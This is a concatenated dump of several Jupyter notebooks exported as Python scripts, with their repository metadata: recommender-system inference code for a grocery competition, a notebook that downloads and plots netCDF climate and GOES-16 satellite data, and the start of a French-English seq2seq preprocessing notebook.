None:\n return X\n \n val = pd.read_parquet(val_path)\n val['ui'] = val['user_id'].astype(np.int64) * 10000 + val['cluster_id']\n y = np.array(table['ui'].isin(val['ui']))\n \n return X, y\n\n\n# +\ndef get_some_data(train_path, recs_nn_path, recs_mf_path, users):\n \n train = pd.read_parquet(train_path)\n recs_nn = pd.read_parquet(recs_nn_path)\n recs_mf = pd.read_parquet(recs_mf_path)\n clusters = pd.read_parquet(CLUSTERS_PATH)\n \n for df in [train, recs_nn, recs_mf]:\n df['ui'] = df['user_id'].astype(np.int64) * 10000 + df['cluster_id']\n \n table = create_table(train, recs_nn, recs_mf, users)\n \n already_bought = np.array(table['ui'].isin(train['ui']))\n cluster_weights = get_cluster_weights(train)\n weights = np.array(table.cluster_id.map(\n cluster_weights.set_index('cluster_id')['w']\n ).fillna(cluster_weights['w'].max()))\n del cluster_weights\n \n return (\n np.array(table['user_id']), \n np.array(table['cluster_id']), \n already_bought, \n weights\n )\n\ndef _create_top_k(train_path, recs_nn_path, recs_mf_path, \n users, model_path, top_k_path, model_path2=None, k=120):\n \n X = get_table(train_path, recs_nn_path, recs_mf_path, users, create_features_simple)\n print(0)\n if model_path2 is None:\n ranker_model = pickle.load(open(model_path, 'rb'))\n pred = ranker_model.predict(X)\n else:\n ranker_model = pickle.load(open(model_path, 'rb'))\n pred1 = ranker_model.predict(X)\n ranker_model = pickle.load(open(model_path2, 'rb'))\n pred2 = ranker_model.predict(X)\n pred = np.mean([pred1, pred2], axis=0)\n \n del X\n print(1)\n users, items, already_bought, weights = get_some_data(\n train_path, recs_nn_path, recs_mf_path, users\n )\n recs = get_recs(pred, users, items, already_bought, weights, num_recs=k)\n \n users = []\n items = []\n for user_id in recs:\n users += [user_id] * len(recs[user_id])\n items += recs[user_id]\n del recs\n\n top_k = pd.DataFrame()\n top_k['user_id'] = users\n top_k['cluster_id'] = items\n top_k.to_parquet(top_k_path)\n\ndef create_top_k():\n \n test_ids = pd.read_csv(TEST_IDS_PATH)\n user_decoder = pickle.load(open(USER_DECODER_PATH, 'rb'))\n user_ecnoder = dict(zip(user_decoder, np.arange(len(user_decoder))))\n users = test_ids['id'].map(user_ecnoder)\n users1 = users[users % 2 == 0]\n users2 = users[users % 2 == 1]\n\n _create_top_k(TRAIN_TEST_PATH, RECS_NN_TEST_PATH, RECS_TEST_PATH,\n users1, RANKER_MODEL1_PATH, TOPK_TEST1_PATH, \n RANKER_MODEL2_PATH)\n _create_top_k(TRAIN_TEST_PATH, RECS_NN_TEST_PATH, RECS_TEST_PATH,\n users2, RANKER_MODEL1_PATH, TOPK_TEST2_PATH, \n RANKER_MODEL2_PATH)\n \n topk_test1 = pd.read_parquet(TOPK_TEST1_PATH)\n topk_test2 = pd.read_parquet(TOPK_TEST2_PATH)\n topk_test = pd.concat([topk_test1, topk_test2])\n topk_test.to_parquet(TOPK_TEST_PATH, index=False)\n\n\n# -\n\n# %%time\n# %%memit\ncreate_top_k()\n\n\n# +\ndef create_fit_table(train, table, clusters, recs_nn_path, recs_mf_path):\n \n users = table.user_id.unique()\n \n recs_nn = pd.read_parquet(recs_nn_path)\n recs_mf = pd.read_parquet(recs_mf_path)\n \n for df in [train, recs_nn, recs_mf]:\n df['ui'] = df['user_id'].astype(np.int64) * 10000 + df['cluster_id']\n \n recs_nn['rnk'] = apply_rank('user_id', recs_nn)\n recs_mf['rnk'] = apply_rank('user_id', recs_mf)\n \n table['rnk'] = table['ui'].map(\n recs_nn.set_index('ui')['rnk']\n ).fillna(10000).astype(np.int16)\n \n table['score'] = table['ui'].map(\n recs_nn.set_index('ui')['scores']\n ).fillna(-100).astype(np.float32)\n \n mask = recs_nn.ui.isin(train.ui)\n \n recs_short = recs_nn[~mask]\n recs_short['rnk'] = apply_rank('user_id', recs_short)\n table['rnk2'] = table['ui'].map(\n recs_short.set_index('ui')['rnk']\n ).fillna(10000).astype(np.int16)\n \n recs_short = recs_nn[mask]\n recs_short['rnk'] = apply_rank('user_id', recs_short)\n table['rnk3'] = table['ui'].map(\n recs_short.set_index('ui')['rnk']\n ).fillna(10000).astype(np.int16)\n del recs_nn\n \n table['rnk4'] = table['ui'].map(\n recs_mf.set_index('ui')['rnk']\n ).fillna(10000).astype(np.int16)\n \n table['score2'] = table['ui'].map(\n recs_mf.set_index('ui')['score']\n ).fillna(-100).astype(np.float32)\n \n mask = recs_mf.ui.isin(train.ui)\n \n recs_short = recs_mf[~mask]\n recs_short['rnk'] = apply_rank('user_id', recs_short)\n table['rnk5'] = table['ui'].map(\n recs_short.set_index('ui')['rnk']\n ).fillna(10000).astype(np.int16)\n \n recs_short = recs_mf[mask]\n recs_short['rnk'] = apply_rank('user_id', recs_short)\n table['rnk6'] = table['ui'].map(\n recs_short.set_index('ui')['rnk']\n ).fillna(10000).astype(np.int16)\n del recs_mf\n \n# count_user_id = table.user_id.map(train['user_id'].value_counts()).fillna(0).astype(np.int16)\n table['count_item_id'] = (table.cluster_id.map(train['cluster_id'].value_counts()).fillna(0) / len(train)).astype(np.float32)\n\n table['num_orders'] = table['user_id'].map(\n train[['order_id', 'user_id']].drop_duplicates()['user_id'].value_counts()\n ).astype(np.int16)\n\n table['num_order_with_target_item'] = table['ui'].map(\n train[['order_id', 'ui']].drop_duplicates()['ui'].value_counts()\n ).fillna(0).astype(np.int16)\n \n last_order_ui = train[train.dt == \\\n train['user_id'].map(\n train[['user_id', 'dt']].drop_duplicates().groupby('user_id').max()['dt']\n )].ui.unique()\n\n table['was_in_last_order'] = table['ui'].isin(last_order_ui).astype(np.int8)\n del last_order_ui\n\n prod_quantity = train.groupby('ui')['product_quantity'].sum()\n table['prod_quantity'] = table['ui'].map(prod_quantity).fillna(0).astype(np.int16)\n del prod_quantity\n \n mask = ~train[['user_id', 'order_id']].duplicated()\n \n table['user_retailer_most_common'] = table['user_id'].map(\n train[mask].groupby('user_id').retailer_id.apply(most_common)\n ).astype(np.int8)\n \n user_city_most_common = table['user_id'].map(\n train[mask].groupby('user_id').city_id.apply(most_common)\n ).astype(np.int16)\n \n del mask\n \n# item_retailer_vc = (train['cluster_id'] * 100 + train['retailer_id']).value_counts()\n# item_user_retailer = table['cluster_id'] * 100 + table['user_retailer_most_common']\n# table['user_item_retailer_vc'] = item_user_retailer.map(item_retailer_vc).fillna(0).astype(np.float32)\n# del item_retailer_vc\n# del item_user_retailer\n \n item_city_vc = (train['cluster_id'] * 100 + train['city_id']).value_counts()\n item_user_city = table['cluster_id'] * 100 + user_city_most_common\n table['user_item_city_vc'] = item_user_city.map(item_city_vc).fillna(0).astype(np.float32)\n del item_city_vc\n del item_user_city\n \n for col in ['cluster_size', 'd_mean', 'd_median']:\n table['cluster_' + col] = table['cluster_id'].map(\n clusters.set_index('cluster_id')[col]\n )\n table['cluster_' + col] = table['cluster_id'].map(\n clusters.set_index('cluster_id')[col]\n )\n \n# # user features \n short_train = train[train.user_id.isin(users)]\n \n ui_dt = defaultdict(list)\n short_train3 = short_train[~short_train[['ui', 'order_id']].duplicated()]\n for ui, dt in zip(short_train3['ui'], short_train3['dt']):\n ui_dt[ui].append(dt)\n del short_train3\n table['ui_dt_diff_mean'] = table.ui.map(\n {key: get_mean_diff_dt(value) for key, value in ui_dt.items()}\n ).fillna(-1).astype(np.float32)\n del ui_dt\n \n table['product_quantity_sum'] = table.user_id.map(\n short_train.groupby('user_id').product_quantity.sum()\n )\n table['user_retailer_num'] = table.user_id.map(\n short_train.groupby('user_id').retailer_id.nunique()\n ).astype(np.int8)\n# table['user_city_num'] = table.user_id.map(\n# short_train.groupby('user_id').city_id.nunique()\n# ).astype(np.int8)\n table['user_product_price_mean'] = table.user_id.map(\n short_train.groupby('user_id').product_price.mean()\n )\n# table['user_product_price_sum'] = table.user_id.map(\n# short_train.product_price.astype(np.float32).groupby(short_train.user_id).sum()\n# )\n table['user_product_discount_mean'] = table.user_id.map(\n (short_train.product_discount != 0).groupby(short_train.user_id).mean()\n ).astype(np.float32)\n table['user_num_clusters'] = table['user_id'].map(\n short_train[['cluster_id', 'user_id']].drop_duplicates()['user_id'].value_counts()\n ).astype(np.int16)\n table['last_user_city_id'] = table['user_id'].map(\n short_train.groupby('user_id').city_id.last()\n )\n table['last_user_retailer_id'] = table['user_id'].map(\n short_train.groupby('user_id').retailer_id.last()\n )\n# table['user_mean_clusters_in_order'] = table['user_id'].map(\n# short_train.groupby(['user_id', 'order_id']).cluster_id.nunique().reset_index() \\\n# .groupby('user_id').cluster_id.mean()\n# ).astype(np.float16)\n table['user_most_common_cluster_id'] = table['user_id'].map(\n short_train.groupby('user_id').cluster_id.apply(most_common)\n )\n del short_train\n \n # item features \n \n mask = ~train[['user_id', 'order_id', 'cluster_id']].duplicated()\n \n# table['cluster_quantity_sum'] = table['cluster_id'].map(\n# train.groupby('cluster_id').product_quantity.sum().astype(np.float32)\n# )\n table['cluster_quantity_mean'] = table['cluster_id'].map(\n train.groupby('cluster_id').product_quantity.mean().astype(np.float32)\n )\n\n for retailer_id in [0, 1, 7]: # [1, 7, 0, 16, 6, 4, 19, 12, 15]\n table[f'cluster_retailer_{retailer_id}'] = table['cluster_id'].map(\n (train[mask].retailer_id == retailer_id).groupby(train[mask].cluster_id).mean(\n ).astype(np.float32)\n )\n \n table['cluster_city_count'] = table['cluster_id'].map(\n train[mask].groupby('cluster_id').city_id.nunique()\n ).astype(np.float32)\n \n\n# table['last_dt_delta'] = table['cluster_id'].map(\n# train.dt.max() - train.groupby('cluster_id').dt.max()\n# ).astype(np.float32)\n\n table['cluster_num_stores'] = table['cluster_id'].map(\n train[mask].groupby('cluster_id').store_id.nunique()\n ).astype(np.float32)\n del mask\n\n table['cluster_product_price_mean'] = table['cluster_id'].map(\n train.groupby('cluster_id').product_price.mean()\n ).astype(np.float32)\n\n table['cluster_mean_discount'] = table['cluster_id'].map(\n (train.product_discount == 0).groupby(train.cluster_id).mean().astype(np.float32)\n )\n\n table['num_users_bought_cluster'] = table['cluster_id'].map(\n train.groupby('cluster_id').user_id.nunique()\n ).fillna(0).astype(np.float32)\n\n table['num_orders_cluster'] = table['cluster_id'].map(\n train.groupby('cluster_id').order_id.nunique()\n ).fillna(0).astype(np.float32)\n \n# more features\n \n mask = ~train[['order_id', 'cluster_id']].duplicated()\n short_train = train[mask]\n\n city_retailer = short_train.city_id.astype(np.int16) * 100 + short_train.retailer_id\n city_retailer_cluster = city_retailer.astype(np.int64) * 10000 + short_train.cluster_id\n\n city_retailer_user = user_city_most_common.astype(np.int16) * 100 + \\\n table['user_retailer_most_common']\n city_retailer_cluster_user = city_retailer_user.astype(np.int64)*10000 + table.cluster_id\n\n table['f1'] = city_retailer_user.map(\n city_retailer.value_counts()\n ).fillna(0).astype(np.float32)\n\n table['f2'] = city_retailer_cluster_user.map(\n city_retailer_cluster.value_counts()\n ).fillna(0).astype(np.float32)\n\n table['f3'] = table['f2'] \\\n / table['f1'] \n \n \n del city_retailer_user\n del city_retailer_cluster_user\n\n city_retailer_user = table['last_user_city_id'].astype(np.int16) * 100 + \\\n table['last_user_retailer_id']\n city_retailer_cluster_user = city_retailer_user.astype(np.int64)*10000 + table.cluster_id\n\n f4 = city_retailer_user.map(\n city_retailer.value_counts()\n ).fillna(0).astype(np.float32)\n\n table['f5'] = city_retailer_cluster_user.map(\n city_retailer_cluster.value_counts()\n ).fillna(0).astype(np.float32)\n\n table['f6'] = table['f5'] \\\n / f4 \n del f4\n \n del city_retailer\n del city_retailer_user\n del city_retailer_cluster_user\n del city_retailer_cluster\n \n #more and more features\n \n short_train = train[train.user_id.isin(users)]\n short_train2 = short_train[~short_train[['user_id', 'order_id']].duplicated()]\n \n table['time_from_order_with_target_item'] = table.ui.map(\n short_train.dt.max() - short_train.groupby('ui').dt.last()\n ).fillna(-1).astype(np.float32)\n \n user_dt = defaultdict(list)\n for user_id, dt in zip(short_train2['user_id'], short_train2['dt']):\n user_dt[user_id].append(dt)\n del short_train2\n \n table['user_dt_diff_mean'] = table.user_id.map(\n {key: get_mean_diff_dt(value) for key, value in user_dt.items()}\n ).fillna(-1).astype(np.float32)\n del user_dt\n \n table['share_order_with_target_item'] = (\n table['num_order_with_target_item'] / table['num_orders'] \n ).astype(np.float32)\n \n table['ui_num'] = table.ui.map(short_train.ui.value_counts()).fillna(0).astype(np.int16)\n# table['share_clusters_with_target_item'] = (\n# table['ui_num']/ table['count_user_id']\n# ).astype(np.float32)\n\n table['share_quatity'] = (\n table['prod_quantity'] / table['product_quantity_sum']\n ).astype(np.float32)\n\n short_train4 = short_train[\n short_train.user_id.map(short_train.groupby('user_id').retailer_id.last()) == \\\n short_train.retailer_id\n ]\n \n table['num_order_with_last_retailer'] = table['user_id'].map(\n short_train4[['user_id', 'order_id']].drop_duplicates()['user_id'].value_counts()\n ).astype(np.int16)\n\n table['num_order_with_target_item_last_retailer'] = table['ui'].map(\n short_train4[['order_id', 'ui']].drop_duplicates()['ui'].value_counts()\n ).fillna(0).astype(np.int16)\n del short_train4\n\n table['share_order_with_target_item_last_retailer'] = (\n table['num_order_with_target_item_last_retailer'] / table['num_order_with_last_retailer']\n ).astype(np.float32)\n \n\n \n \n ui_vc = train.ui.value_counts()\n rnk_vc = train[['user_id', 'ui', 'cluster_id']].drop_duplicates()\n rnk_vc['vc'] = rnk_vc.ui.map(ui_vc)\n rnk_vc = rnk_vc.sort_values(['user_id', 'vc'], ascending=False)\n rnk_vc['rnk_user_id_ui'] = apply_rank('user_id', rnk_vc)\n table['rnk_user_id_ui'] = table.ui.map(rnk_vc.set_index('ui')['rnk_user_id_ui']\n ).fillna(10000).astype(np.int16)\n del ui_vc\n\n rnk_vc = rnk_vc.sort_values(['cluster_id', 'vc'], ascending=False)\n rnk_vc['rnk_cluster_id_ui'] = apply_rank('cluster_id', rnk_vc)\n table['rnk_cluster_id_ui'] = table.ui.map(rnk_vc.set_index('ui')['rnk_cluster_id_ui']\n ).fillna(10000).astype(np.int16)\n del rnk_vc\n\n rnk_vc = train['cluster_id'].value_counts().to_frame()\n rnk_vc['rnk_cluster_id'] = np.arange(len(rnk_vc))\n table['rnk_cluster_id'] = table.cluster_id.map(rnk_vc['rnk_cluster_id']\n ).fillna(10000).astype(np.int16)\n del rnk_vc\n\n cluster_city_vc = (train['city_id'].astype(np.int32) * 10000 + train['cluster_id']\n ).value_counts()\n rnk_vc = train[['city_id', 'cluster_id']].drop_duplicates()\n rnk_vc['cluster_city'] = rnk_vc['city_id'].astype(np.int32) * 10000 + rnk_vc['cluster_id']\n rnk_vc['vc'] = rnk_vc['cluster_city'].map(cluster_city_vc)\n rnk_vc = rnk_vc.sort_values(['city_id', 'vc'], ascending=False)\n rnk_vc['rnk_cluster_city'] = apply_rank('city_id', rnk_vc)\n user_city_cluster = table['last_user_city_id'].astype(np.int32) * 10000 \\\n + table['cluster_id']\n table['rnk_cluster_city'] = user_city_cluster.map(\n rnk_vc.set_index('cluster_city')['rnk_cluster_city']\n ).fillna(10000).astype(np.int16)\n del cluster_city_vc\n del rnk_vc\n del user_city_cluster\n\n cluster_retailer_vc = (train['retailer_id'].astype(np.int32) * 10000 + train['cluster_id']\n ).value_counts()\n rnk_vc = train[['retailer_id', 'cluster_id']].drop_duplicates()\n rnk_vc['cluster_retailer'] = rnk_vc['retailer_id'].astype(np.int32) * 10000 + rnk_vc['cluster_id']\n rnk_vc['vc'] = rnk_vc['cluster_retailer'].map(cluster_retailer_vc)\n rnk_vc = rnk_vc.sort_values(['retailer_id', 'vc'], ascending=False)\n rnk_vc['rnk_cluster_retailer'] = apply_rank('retailer_id', rnk_vc)\n user_retailer_cluster = table['last_user_retailer_id'].astype(np.int32) * 10000 \\\n + table['cluster_id']\n table['rnk_cluster_retailer'] = user_retailer_cluster.map(\n rnk_vc.set_index('cluster_retailer')['rnk_cluster_retailer']\n ).fillna(10000).astype(np.int16)\n user_retailer_cluster = table['user_retailer_most_common'].astype(np.int32) * 10000 \\\n + table['cluster_id']\n table['rnk_cluster_retailer2'] = user_retailer_cluster.map(\n rnk_vc.set_index('cluster_retailer')['rnk_cluster_retailer']\n ).fillna(10000).astype(np.int16)\n del cluster_retailer_vc\n del rnk_vc\n del user_retailer_cluster\n\n cluster_retailer_city_vc = (train['city_id'].astype(np.int64) * 10000000 + \\\n train['retailer_id'].astype(np.int64) * 10000 + \\\n train['cluster_id']).value_counts()\n rnk_vc = train[['retailer_id', 'cluster_id', 'city_id']].drop_duplicates()\n rnk_vc['cluster_retailer_city'] = (rnk_vc['city_id'].astype(np.int64) * 10000000 + \\\n rnk_vc['retailer_id'].astype(np.int64) * 10000 + \\\n rnk_vc['cluster_id'])\n rnk_vc['vc'] = rnk_vc['cluster_retailer_city'].map(cluster_retailer_city_vc)\n rnk_vc['retailer_city'] = (rnk_vc['city_id'].astype(np.int64) * 1000 + \\\n rnk_vc['retailer_id'].astype(np.int64))\n rnk_vc = rnk_vc.sort_values(['retailer_city', 'vc'], ascending=False)\n rnk_vc['rnk_cluser_city_retailer'] = apply_rank('retailer_city', rnk_vc)\n user_retailer_city_cluster = (table['last_user_city_id'].astype(np.int64) * 10000000 + \\\n table['last_user_retailer_id'].astype(np.int64) * 10000 + \\\n table['cluster_id'])\n table['rnk_cluster_retailer_city'] = user_retailer_city_cluster.map(\n rnk_vc.set_index('cluster_retailer_city')['rnk_cluser_city_retailer']\n ).fillna(10000).astype(np.int16)\n user_retailer_city_cluster = (table['last_user_city_id'].astype(np.int64) * 10000000 + \\\n table['user_retailer_most_common'].astype(np.int64) * 10000 + \\\n table['cluster_id'])\n table['rnk_cluster_retailer_city2'] = user_retailer_city_cluster.map(\n rnk_vc.set_index('cluster_retailer_city')['rnk_cluser_city_retailer']\n ).fillna(10000).astype(np.int16)\n del cluster_retailer_city_vc\n del rnk_vc\n del user_retailer_city_cluster\n \n short_train = train[['cluster_id', 'user_id']][\n train.user_id.isin(users) & (~train[['ui', 'order_id']].duplicated())\n ]\n \n vc = short_train['user_id'].value_counts()\n for cluster_id in TOP_K_CLUSTERS[:40]:\n table[f'f102_{cluster_id}'] = table.user_id.map(\n (short_train.cluster_id == cluster_id).groupby(short_train.user_id).sum() / vc\n ).astype(np.float16)\n \n return table\n\n\n# -\n\ndef predict():\n\n train_test = pd.read_parquet(TRAIN_TEST_PATH)\n train_test['product_price'] = train_test['product_price'].astype(np.float32)\n train_test['product_discount'] = train_test['product_discount'].astype(np.float32)\n clusters = pd.read_parquet(CLUSTERS_PATH)\n table = pd.read_parquet(TOPK_TEST_PATH)\n user_decoder = pickle.load(open(USER_DECODER_PATH, 'rb'))\n \n for df in [train_test, table]:\n df['ui'] = df['user_id'].astype(np.int64) * 10000 + df['cluster_id']\n \n print(1)\n table = create_fit_table(train_test, table, clusters, \n RECS_NN_TEST_PATH, RECS_TEST_PATH)\n print(2)\n del clusters\n \n already_bought = table['ui'].isin(train_test['ui'])\n \n cluster_weights = get_cluster_weights(train_test)\n del train_test\n \n weights = table.cluster_id.map(cluster_weights.set_index('cluster_id')['w']).fillna(\n cluster_weights['w'].max()\n )\n del cluster_weights\n print(3)\n X = table.drop(['user_id', 'ui'], axis=1).to_numpy(dtype=np.float32)\n print(type(X[0][0]))\n print(4)\n users = np.array(table['user_id'])\n items = np.array(table['cluster_id'])\n del table\n print(5)\n \n ranker_model = pickle.load(open(RANKER_MODEL_PATH, 'rb'))\n pred = ranker_model.predict(X)\n \n recs = get_recs(pred, users, items, already_bought, weights)\n\n submit = pd.DataFrame()\n submit['user_id'] = pd.Series(recs.keys())\n submit['id'] = user_decoder[submit['user_id']]\n\n submit['target'] = [';'.join([str(i) for i in values]) for values in recs.values()]\n submit[['id', 'target']].to_csv(SUBMIT_PATH, index=False)\n\n# %%time\n# %memit predict()\n\n\n\n\n","repo_name":"VasiliyRubtsov/sbermarket","sub_path":"inference.ipynb","file_name":"inference.ipynb","file_ext":"py","file_size_in_byte":55139,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"28647564168","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + id=\"Ym70RJOyiMm_\"\n#this is based on information found at:\n#https://colab.research.google.com/github/astg606/py_materials/blob/master/science_data_format/introduction_netcdf4.ipynb#scrollTo=jzSepRxHhqhF\n\n#some more info can be found at \n# https://towardsdatascience.com/read-netcdf-data-with-python-901f7ff61648\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"RTuXzmiciQmI\" outputId=\"4b2c5fee-7519-4e18-8b9c-dd5bfb30a192\"\n# !pip install netCDF4\n\n# + id=\"IT8HrcHDiZD-\"\nimport datetime\nimport numpy as np\nimport netCDF4 as nc4\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8Jx3hlLCifKM\" outputId=\"3a91a494-8aaa-453f-a78a-dcf9026633ae\"\n# Get the remote file\nnc_file = \"sresa1b_ncar_ccsm3-example.nc\"\nurl = \"https://www.unidata.ucar.edu/software/netcdf/examples/\"\nimport urllib.request\nurllib.request.urlretrieve(url+nc_file, nc_file)\n\n# + id=\"QfZLDivZiiBl\"\n# Open the netCDF file and read surface air temperature\nwith nc4.Dataset(nc_file,'r') as ncid:\n lons = ncid.variables['lon'][:] # longitude grid points\n lats = ncid.variables['lat'][:] # latitude grid points\n levs = ncid.variables['plev'][:] # pressure leves\n surf_temp = ncid.variables['tas'][:]\n uwind = ncid.variables['ua'][:]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"FKUo6bVojSf8\" outputId=\"8464ecd2-da86-47d5-809b-31577912cb8d\"\nprint(lons.shape)\nprint(lats.shape)\nprint(levs.shape)\nprint(surf_temp.shape)\nprint(uwind.shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"IBtP3Kxokci0\" outputId=\"bd2e91bf-1253-47cf-fcc7-35d5c9de9abf\"\n# https://geo.nsstc.nasa.gov/satellite/goes16/abi/l1b/fullDisk/\n# Get the remote file\nurl = \"https://geo.nsstc.nasa.gov/satellite/goes16/abi/l1b/fullDisk/OR_ABI-L1b-RadF-M6C01_G16_s20210860030172_e20210860039480_c20210860039525.nc\"\nurl = \"https://geo.nsstc.nasa.gov/satellite/goes16/abi/l1b/fullDisk/OR_ABI-L1b-RadF-M6C01_G16_s20210860040172_e20210860049480_c20210860049524.nc\"\nurl = \"https://geo.nsstc.nasa.gov/satellite/goes16/abi/l1b/fullDisk/OR_ABI-L1b-RadF-M6C02_G16_s20210860050172_e20210860059480_c20210860059516.nc\"\nimport urllib.request\nurllib.request.urlretrieve(url, nc_file)\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tBrDmIQqlG6u\" outputId=\"a790571d-ec94-482f-8db1-5f09dcd98db6\"\nncc = nc4.Dataset(nc_file,'r')\nprint(ncc)\n\n# + id=\"yaU26Ps4lvl1\"\n# Open the netCDF file and read surface air temperature\nwith nc4.Dataset(nc_file,'r') as ncid:\n y = ncid.variables['y'][:] # longitude grid points\n x = ncid.variables['x'][:] # latitude grid points\n rad = ncid.variables['Rad'][:] # latitude grid points\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"IWhY_tZAl-Y3\" outputId=\"18c109a8-8411-4ca6-9d38-7a64af913134\"\nprint(x.shape)\nprint(y.shape)\nprint(rad.shape)\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 269} id=\"c5gqqAA1mnOD\" outputId=\"b125336a-3f05-4b1a-9fdf-b3cdd8b99fee\"\nimport matplotlib.pyplot as plt\nplt.imshow(rad[::100,::100], )\nplt.show()\n\n# + id=\"q5vYeaKmnLoh\"\nimport plotly.express as px\nfig = px.imshow(rad)\nfig.update_layout(width=256, height=256, margin=dict(l=10, r=10, b=10, t=10))\nfig.update_xaxes(showticklabels=False).update_yaxes(showticklabels=False)\nfig.show()\n","repo_name":"kevinkmcguigan/experiments","sub_path":"netCDF_download.ipynb","file_name":"netCDF_download.ipynb","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"13698273839","text":"# + executionInfo={\"elapsed\": 666, \"status\": \"ok\", \"timestamp\": 1631456651452, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"y_3pR1FQnBtw\"\n# from google.colab import drive\n# drive.mount('/content/drive')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 635, \"status\": \"ok\", \"timestamp\": 1631456652768, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"gfDq0wl9RSy1\" outputId=\"daab2899-19d6-4fd3-e93c-555b1b74f9da\"\n# !ls\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 27, \"status\": \"ok\", \"timestamp\": 1631456652768, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"IaxD0oLrnRRg\" outputId=\"eb68efa2-71b8-4c88-de8b-98ae2b282563\"\n# %cd '/content/drive/MyDrive/Language Translation AutoEncoders(LSTM and NLP seq 2 seq) '\n\n# + executionInfo={\"elapsed\": 25, \"status\": \"ok\", \"timestamp\": 1631456652769, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"PvOeHXManXrN\"\n# # !unzip '/content/drive/MyDrive/Language Translation AutoEncoders(LSTM and NLP seq 2 seq) /fra-eng.zip' -d '/content/drive/MyDrive/Language Translation AutoEncoders(LSTM and NLP seq 2 seq) /'\n\n# + [markdown] id=\"1QjLwupbns1v\"\n# # PreProcessing\n\n# + executionInfo={\"elapsed\": 24, \"status\": \"ok\", \"timestamp\": 1631456652769, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"wl5LXZtCnkrm\"\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\n\n# + executionInfo={\"elapsed\": 24, \"status\": \"ok\", \"timestamp\": 1631456652769, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"zOdj8uG8n2Cd\"\n#Constant Variables\nbatch_size = 64 # Batch size for training.\nepochs = 100 # Number of epochs to train for.\nlatent_dim = 256 # Latent dimensionality of the encoding space.\nnum_samples = 10000 # Number of samples to train on.\n# Path to the data txt file on disk.\ndata_path = \"fra.txt\"\n\n# + [markdown] id=\"KkliMph_qeMT\"\n# ### Vectorize the data\n\n# + executionInfo={\"elapsed\": 24, \"status\": \"ok\", \"timestamp\": 1631456652770, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"PlVjCVCJoDG9\"\n#Reading then Vectorize the data and Create Tokens\ninput_texts = []\ntarget_texts = []\ninput_characters = set()\ntarget_characters = set()\nwith open(data_path, \"r\", encoding=\"utf-8\") as f:\n lines = f.read().split(\"\\n\")\nfor line in lines[: min(num_samples, len(lines) - 1)]:\n input_text, target_text, _ = line.split(\"\\t\")\n # We use \"tab\" as the \"start sequence\" character\n # for the targets, and \"\\n\" as \"end sequence\" character.\n target_text = \"\\t\" + target_text + \"\\n\"\n input_texts.append(input_text)\n target_texts.append(target_text)\n for char in input_text:\n if char not in input_characters: #appending unique characters for encoder input\n input_characters.add(char)\n for char in target_text: #appending unique characters for target\n if char not in target_characters:\n target_characters.add(char)\n \n\n# + executionInfo={\"elapsed\": 24, \"status\": \"ok\", \"timestamp\": 1631456652770, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"fqryBG9gpvRh\"\n# input_texts\n# input_characters\n# target_texts\n# target_characters\n\n\n\n# + [markdown] id=\"0mh6Dpp-qiuq\"\n# ### Clean the Data\n\n# + executionInfo={\"elapsed\": 24, \"status\": \"ok\", \"timestamp\": 1631456652772, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"WROpup7Fpw9s\"\nimport re\nimport string\n\n\n# + executionInfo={\"elapsed\": 23, \"status\": \"ok\", \"timestamp\": 1631456652772, \"user\": 